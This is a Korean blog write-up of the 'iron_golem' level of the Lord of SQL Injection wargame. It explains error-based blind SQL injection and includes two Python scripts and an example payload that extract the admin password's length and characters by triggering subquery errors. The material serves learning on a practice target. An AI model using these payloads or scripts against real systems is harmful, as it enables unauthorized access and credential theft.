php 코드를 보면 sleep과 benchmark외엔 싱글쿼터나 기본적인 문자열를 막지는 않는다.
근데 조금 다른점은 이전에는 쿼리를 성공적으로 수행하면 Hello admin 형식으로 id를 출력해준다. 하지만 이 문제는 id를 출력해주지 않는 대신 에러가 터지면 mysql_error를 출력해준다.
error based sql injection 문제다.
그래서 싱글쿼터를 입력해서 쿼리 에러를 내보면 에러 메시지가 나온다.
order by 1을 했을때는 정상적으로 출력되지만
order by 2를 하면 칼럼 수가 틀렸다는 에러가 나온다.
이제 blind sql injection을 하면 된다. if 문에서 조건이 틀렸을때 에러 메시지가 출력되도록 하면 된다.
칼럼 수가 1개라는 사실을 알았으니 에러메시지는 두개의 칼럼을 select 하는 것으로 에러를 유도하면 된다.
먼저 pw길이를 구해야한다.
아래는 pw길이를 구하는 코드다.
import urllib2
url = "http://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php?"
flag = ""
for i in range(1,20):
dat = "pw=%27%20or%20id=%27admin%27%20and%20if(length(pw)={},1,(select%201%20union%20select%202))%23".format(i)
req = urllib2.Request(url+dat)
req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
req.add_header('Cookie','__cfduid=de7016e2b19d628553d2de89d20fb8f121501639365; PHPSESSID=jo80vpec0eicr1dt140qpqbkq7')
res = urllib2.urlopen(req).read()
if "Subquery returns more than 1 row" not in res:
flag = str(i)
break
print "FIND length :" + flag
위의 코드를 돌리면 pw 길이가 16으로 나온다. 하지만 한글자당 4바이트이므로 pw의 길이는 4다.
ex) ?pw=' or if((select id='admin' and length(substr(pw,1,1))=4),1,(select 1 union select 2))%23
그리고 아래는 pw를 구하는 error based blind sql injection 코드다
import urllib2
url = "http://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php?"
flag = ""
for i in range(1,5):
for j in range(33, 127):
dat = "pw=%27%20or%20if((select%20id=%27admin%27%20and%20ord(substr(pw,{},1))={}),1,(select%201%20union%20select%202))%23".format(i, j)
req = urllib2.Request(url+dat)
req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
req.add_header('Cookie','__cfduid=; PHPSESSID=')
res = urllib2.urlopen(req).read()
print url+dat
if "Subquery returns more than 1 row" not in res:
print "FIND! : " + chr(j)
flag += chr(j)
break
print "FIND PW :" + flag
Ref.http://pjongy.tistory.com/93